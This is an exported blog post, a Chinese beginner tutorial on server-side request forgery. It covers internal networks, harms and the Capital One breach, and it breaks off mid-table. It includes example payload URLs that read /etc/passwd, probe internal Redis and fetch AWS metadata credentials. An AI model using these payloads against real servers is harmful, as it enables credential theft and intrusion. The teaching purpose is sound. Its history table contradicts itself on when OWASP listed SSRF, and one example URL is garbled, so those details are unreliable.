{"id":111272,"date":"2026-09-30T20:17:37","date_gmt":"2026-09-30T12:17:37","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/111272.html"},"modified":"2026-09-30T20:17:37","modified_gmt":"2026-09-30T12:17:37","slug":"ssrf-%e6%9c%8d%e5%8a%a1%e7%ab%af%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/111272.html","title":{"rendered":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020"},"content":{"rendered":"<h3>\u7b2c\u96f6\u7ae0&#xff1a;\u96f6\u57fa\u7840\u5165\u95e8<\/h3>\n<p>\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840&#xff0c;\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840&#xff0c;\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u3002<\/p>\n<h4>0.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981&#034;\u4ee3\u4f60&#034;\u53d1\u8bf7\u6c42<\/h4>\n<p>\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801&#xff0c;\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3&#034;\u9884\u89c8&#034;\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e&#xff0c;\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42&#xff1a;<\/p>\n<p>\u573a\u666f1&#xff1a;\u5728\u7ebf\u7ffb\u8bd1<br \/>\n  \u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60<br \/>\n\u200b<br \/>\n\u573a\u666f2&#xff1a;\u56fe\u7247\u9884\u89c8<br \/>\n  \u4f60\u8f93\u5165\u4e00\u4e2a\u56fe\u7247 URL \u2192 \u670d\u52a1\u5668\u53bb\u4e0b\u8f7d\u90a3\u5f20\u56fe \u2192 \u663e\u793a\u7f29\u7565\u56fe\u7ed9\u4f60<br \/>\n\u200b<br \/>\n\u573a\u666f3&#xff1a;Webhook \u6d4b\u8bd5<br \/>\n  \u4f60\u914d\u7f6e\u4e00\u4e2a\u56de\u8c03 URL \u2192 \u670d\u52a1\u5668\u5728\u7279\u5b9a\u4e8b\u4ef6\u65f6\u5411\u90a3\u4e2a URL \u53d1\u8bf7\u6c42<br \/>\n\u200b<br \/>\n\u573a\u666f4&#xff1a;\u6587\u6863\u5bfc\u5165<br \/>\n  \u4f60\u8f93\u5165\u4e00\u4e2a URL \u2192 \u670d\u52a1\u5668\u53bb\u4e0b\u8f7d\u6587\u6863\u5e76\u5bfc\u5165<\/p>\n<p>SSRF \u5c31\u662f&#xff1a;\u653b\u51fb\u8005\u8ba9\u670d\u52a1\u5668\u53bb\u8bbf\u95ee&#034;\u670d\u52a1\u5668\u672c\u4e0d\u8be5\u8bbf\u95ee&#034;\u7684\u5730\u5740&#xff08;\u901a\u5e38\u662f\u5185\u7f51&#xff09;\u3002<\/p>\n<h4>0.2 \u4ec0\u4e48\u662f\u5185\u7f51&#xff0c;\u4e3a\u4ec0\u4e48\u91cd\u8981<\/h4>\n<p>\u4e92\u8054\u7f51&#xff08;\u516c\u7f51&#xff09;<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u4f60\u7684\u6d4f\u89c8\u5668 \u00a0  \u653b\u51fb\u8005 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2502<br \/>\n\u2502 \u00a0 \u00a0  \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u00a0  \u2193 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 Web \u670d\u52a1\u5668 \u2190 \u6709 SSRF \u6f0f\u6d1e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2502<br \/>\n\u2502 \u00a0 \u00a0  \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500 \u9632\u706b\u5899 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2502<br \/>\n\u2502 \u00a0 \u00a0  \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u00a0  \u2193 \u00a0 \u5185\u7f51&#xff08;\u79c1\u7f51&#xff09; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2502<br \/>\n\u2502 \u00a0 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u2502 Redis \u6570\u636e\u5e93 192.168.1.5  \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u2502 MySQL \u6570\u636e\u5e93 192.168.1.6  \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u2502 \u7ba1\u7406\u540e\u53f0  192.168.1.10 \u00a0  \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u2502 \u4e91\u5143\u6570\u636e  169.254.169.254 \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\n\u200b<br \/>\n\u9632\u706b\u5899\u89c4\u5219&#xff1a;Web \u670d\u52a1\u5668\u53ef\u4ee5\u8bbf\u95ee\u5185\u7f51&#xff0c;\u4f46\u5916\u7f51\u4e0d\u80fd\u3002<br \/>\nSSRF \u8ba9 Web \u670d\u52a1\u5668&#034;\u4ee3\u66ff&#034;\u653b\u51fb\u8005\u8bbf\u95ee\u5185\u7f51 \u2192 \u7ed5\u8fc7\u9632\u706b\u5899\u3002<\/p>\n<h4>0.3 \u7528\u751f\u6d3b\u7c7b\u6bd4\u7406\u89e3 SSRF<\/h4>\n<p>\u60f3\u8c61\u4f60\u4f4f\u5728\u5c0f\u533a\u91cc&#xff0c;\u5916\u5356\u4e0d\u80fd\u8fdb\u5c0f\u533a\u3002\u4f46\u4f60\u53ef\u4ee5\u8ba9\u7269\u4e1a\u5e2e\u4f60\u53bb\u95e8\u53e3\u53d6\u5916\u5356\u3002<\/p>\n<p>\u6b63\u5e38\u60c5\u51b5&#xff1a;\u4f60\u8ba9\u7269\u4e1a\u53bb\u53d6\u4f60\u81ea\u5df1\u7684\u5916\u5356\u3002<\/p>\n<p>SSRF&#xff1a;\u4f60\u8ba9\u7269\u4e1a\u53bb\u53d6&#034;\u522b\u4eba&#034;\u7684\u5916\u5356&#xff0c;\u6216\u8005\u53bb\u5c0f\u533a\u5185\u90e8\u7684\u4ed3\u5e93\u62ff\u4e1c\u897f&#xff08;\u7269\u4e1a\u6709\u6743\u9650\u8fdb\u4ed3\u5e93&#xff0c;\u4f60\u6ca1\u6709&#xff09;\u3002<\/p>\n<h4>0.4 \u4ec0\u4e48\u662f URL&#xff0c;\u4e3a\u4ec0\u4e48\u7528\u6237\u80fd\u63a7\u5236\u5b83<\/h4>\n<p>http:\/\/192.168.1.1\/admin<br \/>\n\u2502 \u00a0 \u00a0 \u2502 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2502<br \/>\n\u534f\u8bae \u00a0 \u76ee\u6807\u5730\u5740 \u00a0 \u00a0 \u00a0  \u8def\u5f84<br \/>\n\u200b<br \/>\n\u5f53\u7f51\u7ad9\u6709\u4e00\u4e2a\u529f\u80fd&#xff1a;fetch.php?url&#061;\u7528\u6237\u8f93\u5165\u7684URL<br \/>\n\u2192 \u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u7528\u6237\u6307\u5b9a\u7684 URL<br \/>\n\u2192 \u5982\u679c\u7528\u6237\u8f93\u5165 url&#061;http:\/\/192.168.1.1\/admin<br \/>\n\u2192 \u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u4e86\u5185\u7f51\u7ba1\u7406\u540e\u53f0&#xff01;<\/p>\n<h4>0.5 SSRF \u80fd\u9020\u6210\u4ec0\u4e48\u5371\u5bb3<\/h4>\n<table>\n<tr>\u5371\u5bb3\u8bf4\u660e\u4e25\u91cd\u7a0b\u5ea6<\/tr>\n<tbody>\n<tr>\n<td>\u8bfb\u6587\u4ef6<\/td>\n<td>\u8bfb\u53d6\u670d\u52a1\u5668\u4e0a\u7684\u914d\u7f6e\u6587\u4ef6<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u5185\u7f51\u63a2\u6d4b<\/td>\n<td>\u626b\u63cf\u5185\u7f51\u7aef\u53e3\u548c\u670d\u52a1<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u653b\u51fb\u5185\u7f51\u670d\u52a1<\/td>\n<td>\u653b\u51fb\u5185\u7f51 Redis\/MySQL<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u4e91\u5143\u6570\u636e\u6cc4\u9732<\/td>\n<td>\u7a83\u53d6\u4e91\u5e73\u53f0\u4e34\u65f6\u51ed\u8bc1<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u6267\u884c\u547d\u4ee4<\/td>\n<td>\u901a\u8fc7\u534f\u8bae\u7ec4\u5408\u6267\u884c\u547d\u4ee4<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>0.6 \u771f\u5b9e\u6848\u4f8b&#xff1a;Capital One \u4e8b\u4ef6&#xff08;2019&#xff09;<\/h4>\n<p>1. \u653b\u51fb\u8005\u53d1\u73b0 Capital One \u7684\u4e00\u4e2a\u529f\u80fd\u53ef\u4ee5\u8f93\u5165 URL<br \/>\n2. \u8f93\u5165 url&#061;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<br \/>\n3. \u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u4e86 AWS \u4e91\u5143\u6570\u636e\u63a5\u53e3<br \/>\n4. \u8fd4\u56de\u4e86 IAM \u89d2\u8272\u7684\u4e34\u65f6 AccessKey \u548c SecretKey<br \/>\n5. \u653b\u51fb\u8005\u7528\u8fd9\u4e9b\u51ed\u8bc1\u8bbf\u95ee\u4e86 S3 \u5b58\u50a8\u6876<br \/>\n6. \u4e0b\u8f7d\u4e86 1 \u4ebf\u7528\u6237\u7684\u4e2a\u4eba\u4fe1\u606f<br \/>\n7. Capital One \u88ab\u7f5a\u6b3e 8000 \u4e07\u7f8e\u5143<\/p>\n<p>\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48 SSRF \u662f OWASP Top 10 \u4e4b\u4e00\u3002<\/p>\n<h4>0.7 \u4f60\u9700\u8981\u7684\u524d\u7f6e\u77e5\u8bc6<\/h4>\n<table>\n<tr>\u77e5\u8bc6\u70b9\u8bf4\u660e\u5728\u54ea\u5b66<\/tr>\n<tbody>\n<tr>\n<td>HTTP \u534f\u8bae<\/td>\n<td>\u8bf7\u6c42\/\u54cd\u5e94<\/td>\n<td>\u7b2c 1 \u7bc7 0.5 \u8282<\/td>\n<\/tr>\n<tr>\n<td>URL \u7ed3\u6784<\/td>\n<td>\u534f\u8bae:\/\/\u5730\u5740:\u7aef\u53e3\/\u8def\u5f84<\/td>\n<td>\u672c\u7ae0 0.4 \u8282<\/td>\n<\/tr>\n<tr>\n<td>IP \u5730\u5740<\/td>\n<td>\u5185\u7f51\/\u5916\u7f51\u533a\u522b<\/td>\n<td>\u672c\u7ae0 0.2 \u8282<\/td>\n<\/tr>\n<tr>\n<td>\u670d\u52a1\u5668\u67b6\u6784<\/td>\n<td>Web\/\u6570\u636e\u5e93\/\u7f13\u5b58<\/td>\n<td>\u672c\u7ae0 0.2 \u8282<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>0.8 \u96f6\u57fa\u7840\u7b2c\u4e00\u6b21\u7406\u89e3 SSRF \u653b\u51fb<\/h4>\n<p>\u6b63\u5e38\u4f7f\u7528&#xff1a;<br \/>\n  http:\/\/shop.com\/fetch.php?url&#061;2026-09-30dqf5nl41w0y.png<br \/>\n  \u2192 \u670d\u52a1\u5668\u53bb cdn.example.com \u4e0b\u8f7d logo.png \u2192 \u8fd4\u56de\u7ed9\u4f60<br \/>\n\u200b<br \/>\nSSRF \u653b\u51fb&#xff1a;<br \/>\n  http:\/\/shop.com\/fetch.php?url&#061;file:\/\/\/etc\/passwd<br \/>\n  \u2192 \u670d\u52a1\u5668\u53bb\u8bfb\u53d6\u672c\u5730 \/etc\/passwd \u6587\u4ef6 \u2192 \u8fd4\u56de\u7ed9\u653b\u51fb\u8005<br \/>\n\u200b<br \/>\n  http:\/\/shop.com\/fetch.php?url&#061;http:\/\/192.168.1.5:6379\/<br \/>\n  \u2192 \u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u5185\u7f51 Redis \u2192 \u8fd4\u56de Redis \u54cd\u5e94<br \/>\n\u200b<br \/>\n  http:\/\/shop.com\/fetch.php?url&#061;http:\/\/169.254.169.254\/latest\/meta-data\/<br \/>\n  \u2192 \u670d\u52a1\u5668\u53bb\u8bfb\u53d6\u4e91\u5143\u6570\u636e \u2192 \u8fd4\u56de\u4e34\u65f6\u51ed\u8bc1<\/p>\n<h4>0.9 \u96f6\u57fa\u7840\u7ec3\u4e60<\/h4>\n<p># 1. \u7406\u89e3 URL \u7684\u5404\u90e8\u5206<br \/>\n# http:\/\/localhost:8080\/fetch.php?url&#061;http:\/\/example.com<br \/>\n# \u00a0 \u00a0 \u00a0  \u2191\u81ea\u5df1\u7684\u670d\u52a1\u5668 \u00a0 \u00a0 \u2191\u53c2\u6570\u540d  \u2191\u7528\u6237\u63a7\u5236\u7684URL<br \/>\n\u200b<br \/>\n# 2. \u5728\u672c\u5730\u642d\u5efa\u9776\u573a<br \/>\ndocker run -d -p 8080:80 vulnerables\/web-dvwa<br \/>\n\u200b<br \/>\n# 3. \u7406\u89e3\u5185\u7f51\u5730\u5740<br \/>\n# 127.0.0.1 &#061; \u672c\u673a<br \/>\n# 192.168.x.x &#061; \u5185\u7f51<br \/>\n# 169.254.169.254 &#061; \u4e91\u5143\u6570\u636e&#xff08;AWS&#xff09;<br \/>\n\u200b<br \/>\n# 4. \u5c1d\u8bd5\u7406\u89e3\u534f\u8bae<br \/>\n# file:\/\/ &#061; \u8bfb\u6587\u4ef6<br \/>\n# http:\/\/ &#061; \u53d1\u8bf7\u6c42<br \/>\n# gopher:\/\/ &#061; \u53d1\u4efb\u610f TCP \u6570\u636e<\/p>\n<p>\u26a0\ufe0f \u53ea\u5728\u672c\u5730\u9776\u573a\u7ec3\u4e60&#xff01;\u4e0d\u8981\u5bf9\u771f\u5b9e\u7f51\u7ad9\u8f93\u5165\u5185\u7f51 URL\u3002<\/p>\n<hr \/>\n<h3>\u7b2c\u4e00\u7ae0&#xff1a;\u57fa\u7840\u94fa\u57ab<\/h3>\n<h4>1.1 \u5148\u641e\u61c2\u670d\u52a1\u7aef\u4e3a\u4ec0\u4e48\u8981\u53d1\u8d77\u8bf7\u6c42<\/h4>\n<p>\u5f88\u591a Web \u5e94\u7528\u9700\u8981\u670d\u52a1\u5668\u4e3b\u52a8\u53d1\u8d77 HTTP \u8bf7\u6c42&#xff0c;\u8fd9\u662f\u6b63\u5e38\u7684\u4e1a\u52a1\u9700\u6c42&#xff1a;<\/p>\n<table>\n<tr>\u573a\u666f\u8bf4\u660eURL \u6765\u6e90<\/tr>\n<tbody>\n<tr>\n<td>\u56fe\u7247\u9884\u89c8<\/td>\n<td>\u7528\u6237\u63d0\u4f9b URL&#xff0c;\u670d\u52a1\u5668\u6293\u53d6\u56fe\u7247\u7f29\u7565\u56fe<\/td>\n<td>\u7528\u6237\u8f93\u5165<\/td>\n<\/tr>\n<tr>\n<td>\u5728\u7ebf\u7ffb\u8bd1<\/td>\n<td>\u7528\u6237\u63d0\u4f9b URL&#xff0c;\u670d\u52a1\u5668\u6293\u53d6\u9875\u9762\u7ffb\u8bd1<\/td>\n<td>\u7528\u6237\u8f93\u5165<\/td>\n<\/tr>\n<tr>\n<td>Webhook \u56de\u8c03<\/td>\n<td>\u6d4b\u8bd5 Webhook \u662f\u5426\u53ef\u8fbe<\/td>\n<td>\u7528\u6237\u914d\u7f6e<\/td>\n<\/tr>\n<tr>\n<td>\u6587\u6863\u5bfc\u5165<\/td>\n<td>\u4ece URL \u52a0\u8f7d\u6587\u4ef6&#xff08;\u5982\u8fdc\u7a0b XML\u3001\u56fe\u7247&#xff09;<\/td>\n<td>\u7528\u6237\u8f93\u5165<\/td>\n<\/tr>\n<tr>\n<td>RSS \u8ba2\u9605<\/td>\n<td>\u6293\u53d6\u8fdc\u7a0b RSS \u6e90<\/td>\n<td>\u7528\u6237\u914d\u7f6e<\/td>\n<\/tr>\n<tr>\n<td>PDF \u6e32\u67d3<\/td>\n<td>\u4ece URL \u52a0\u8f7d\u56fe\u7247\u5230 PDF \u4e2d<\/td>\n<td>\u9875\u9762\u5185\u5bb9<\/td>\n<\/tr>\n<tr>\n<td>\u7f51\u9875\u622a\u56fe<\/td>\n<td>\u670d\u52a1\u5668\u6e32\u67d3\u7f51\u9875\u5e76\u622a\u56fe<\/td>\n<td>\u7528\u6237\u8f93\u5165<\/td>\n<\/tr>\n<tr>\n<td>API \u7f51\u5173<\/td>\n<td>\u4ee3\u7406\u8f6c\u53d1\u8bf7\u6c42\u5230\u540e\u7aef\u670d\u52a1<\/td>\n<td>\u8def\u7531\u914d\u7f6e<\/td>\n<\/tr>\n<tr>\n<td>\u5143\u6570\u636e\u67e5\u8be2<\/td>\n<td>\u67e5\u8be2 URL \u7684 OG \u6807\u7b7e<\/td>\n<td>\u7528\u6237\u8f93\u5165<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u5982\u679c\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u76ee\u6807 URL \u53ef\u88ab\u7528\u6237\u63a7\u5236&#xff0c;\u4e14\u6ca1\u6709\u6821\u9a8c\u76ee\u6807\u5730\u5740&#xff0c;\u5c31\u4ea7\u751f SSRF\u3002<\/p>\n<h4>1.2 \u4ec0\u4e48\u662f SSRF<\/h4>\n<p>SSRF&#xff08;Server-Side Request Forgery&#xff0c;\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff09; \u662f\u653b\u51fb\u8005\u5229\u7528\u670d\u52a1\u7aef\u7684&#034;\u4ee3\u4e3a\u8bf7\u6c42&#034;\u529f\u80fd&#xff0c;\u8ba9\u670d\u52a1\u5668\u8bbf\u95ee\u653b\u51fb\u8005\u6307\u5b9a\u7684&#xff08;\u901a\u5e38\u662f\u5185\u7f51\u7684&#xff09;\u5730\u5740\u3002<\/p>\n<h4>1.3 \u6838\u5fc3\u5371\u5bb3 \u2014\u2014 \u7a7f\u900f\u9632\u706b\u5899<\/h4>\n<p> \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4e92\u8054\u7f51<br \/>\n\u653b\u51fb\u8005&#xff08;\u5916\u7f51&#xff09; \u2500\u2500\u2192 Web\u670d\u52a1\u5668&#xff08;\u6709SSRF\u6f0f\u6d1e&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2502<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2502 \u670d\u52a1\u5668\u53ef\u8bbf\u95ee\u5185\u7f51&#xff08;\u9632\u706b\u5899\u5141\u8bb8&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  \u2193<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u5185\u7f51\u670d\u52a1<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 Redis&#xff08;6379&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 MySQL&#xff08;3306&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 FastCGI&#xff08;9000&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 Admin\u9762\u677f&#xff08;8080&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2514\u2500\u2500 \u4e91\u5143\u6570\u636e&#xff08;169.254.169.254&#xff09;<br \/>\n\u200b<br \/>\n\u2190 \u9632\u706b\u5899\u53ea\u5141\u8bb8 Web \u670d\u52a1\u5668\u8bbf\u95ee\u5185\u7f51&#xff0c;\u4e0d\u5141\u8bb8\u5916\u7f51\u76f4\u63a5\u8bbf\u95ee<\/p>\n<p>\u9632\u706b\u5899\u5141\u8bb8 Web \u670d\u52a1\u5668\u8bbf\u95ee\u5185\u7f51&#xff08;\u56e0\u4e3a\u4e1a\u52a1\u9700\u8981&#xff09;&#xff0c;\u4f46\u4e0d\u5141\u8bb8\u5916\u7f51\u7528\u6237\u76f4\u63a5\u8bbf\u95ee\u3002SSRF \u8ba9 Web \u670d\u52a1\u5668\u4ee3\u66ff\u653b\u51fb\u8005\u53d1\u8d77\u5185\u7f51\u8bf7\u6c42&#xff0c;\u7b49\u4e8e\u7ed5\u8fc7\u4e86\u9632\u706b\u5899\u3002<\/p>\n<h4>1.4 SSRF \u7684\u5386\u53f2<\/h4>\n<table>\n<tr>\u65f6\u95f4\u4e8b\u4ef6<\/tr>\n<tbody>\n<tr>\n<td>2010\u5e74<\/td>\n<td>SSRF \u6982\u5ff5\u88ab\u7cfb\u7edf\u63cf\u8ff0<\/td>\n<\/tr>\n<tr>\n<td>2014\u5e74<\/td>\n<td>AWS SSRF \u5143\u6570\u636e\u6cc4\u9732\u88ab\u5e7f\u6cdb\u5229\u7528<\/td>\n<\/tr>\n<tr>\n<td>2015\u5e74<\/td>\n<td>GitHub SSRF \u6f0f\u6d1e\u5bfc\u81f4\u5185\u7f51\u63a2\u6d4b<\/td>\n<\/tr>\n<tr>\n<td>2017\u5e74<\/td>\n<td>OWASP \u5c06\u5176\u5217\u5165 Top 10<\/td>\n<\/tr>\n<tr>\n<td>2019\u5e74<\/td>\n<td>Capital One \u6570\u636e\u6cc4\u9732&#xff1a;SSRF \u8bfb\u53d6 AWS \u5143\u6570\u636e&#xff0c;1 \u4ebf\u7528\u6237\u6570\u636e\u6cc4\u9732&#xff0c;\u7f5a\u6b3e 8000 \u4e07\u7f8e\u5143<\/td>\n<\/tr>\n<tr>\n<td>2020\u5e74<\/td>\n<td>AWS \u63a8\u51fa IMDSv2 \u9632\u5fa1\u5143\u6570\u636e\u6cc4\u9732<\/td>\n<\/tr>\n<tr>\n<td>2021\u5e74<\/td>\n<td>OWASP Top 10 \u65b0\u589e A10:SSRF<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>1.5 Capital One \u4e8b\u4ef6\u8be6\u89e3<\/h4>\n<p>2019\u5e74\u6700\u4e25\u91cd\u7684\u6570\u636e\u6cc4\u9732\u4e8b\u4ef6&#xff1a;<\/p>\n<p>1. \u653b\u51fb\u8005\u53d1\u73b0 Capital One \u7684\u4e00\u4e2a WAF&#xff08;ModSecurity&#xff09;\u914d\u7f6e\u9519\u8bef<br \/>\n2. WAF \u88ab SSRF \u5229\u7528&#xff0c;\u5411 AWS \u5143\u6570\u636e\u670d\u52a1\u53d1\u8d77\u8bf7\u6c42<br \/>\n3. \u83b7\u53d6\u4e86 IAM \u89d2\u8272\u7684\u4e34\u65f6\u51ed\u8bc1&#xff08;AccessKey &#043; SecretKey &#043; Token&#xff09;<br \/>\n4. \u7528\u4e34\u65f6\u51ed\u8bc1\u8bbf\u95ee S3 \u5b58\u50a8\u6876<br \/>\n5. \u4e0b\u8f7d\u4e86 1 \u4ebf\u7528\u6237\u7684\u4e2a\u4eba\u4fe1\u606f&#xff08;\u5305\u62ec SSN\u3001\u94f6\u884c\u8d26\u53f7&#xff09;<br \/>\n6. \u9020\u6210 8000 \u4e07\u7f8e\u5143\u7f5a\u6b3e &#043; \u5de8\u5927\u58f0\u8a89\u635f\u5931<\/p>\n<p>\u6559\u8bad&#xff1a;SSRF &#043; \u4e91\u5143\u6570\u636e &#061; \u707e\u96be\u6027\u540e\u679c\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48 AWS \u63a8\u51fa\u4e86 IMDSv2\u3002<\/p>\n<h4>1.6 \u5371\u5bb3<\/h4>\n<table>\n<tr>\u5371\u5bb3\u8bf4\u660e\u4e25\u91cd\u7a0b\u5ea6<\/tr>\n<tbody>\n<tr>\n<td>\u5185\u7f51\u63a2\u6d4b<\/td>\n<td>\u7aef\u53e3\u626b\u63cf\u3001\u670d\u52a1\u8bc6\u522b<\/td>\n<td>\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u8bfb\u53d6\u672c\u5730\u6587\u4ef6<\/td>\n<td>file:\/\/ \u534f\u8bae\u8bfb\u914d\u7f6e\/\u5bc6\u94a5<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u653b\u51fb\u5185\u7f51\u670d\u52a1<\/td>\n<td>Redis\/MySQL\/FastCGI<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u4e91\u5143\u6570\u636e\u6cc4\u9732<\/td>\n<td>AWS\/\u963f\u91cc\u4e91\u4e34\u65f6\u51ed\u8bc1<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u6267\u884c\u547d\u4ee4<\/td>\n<td>gopher 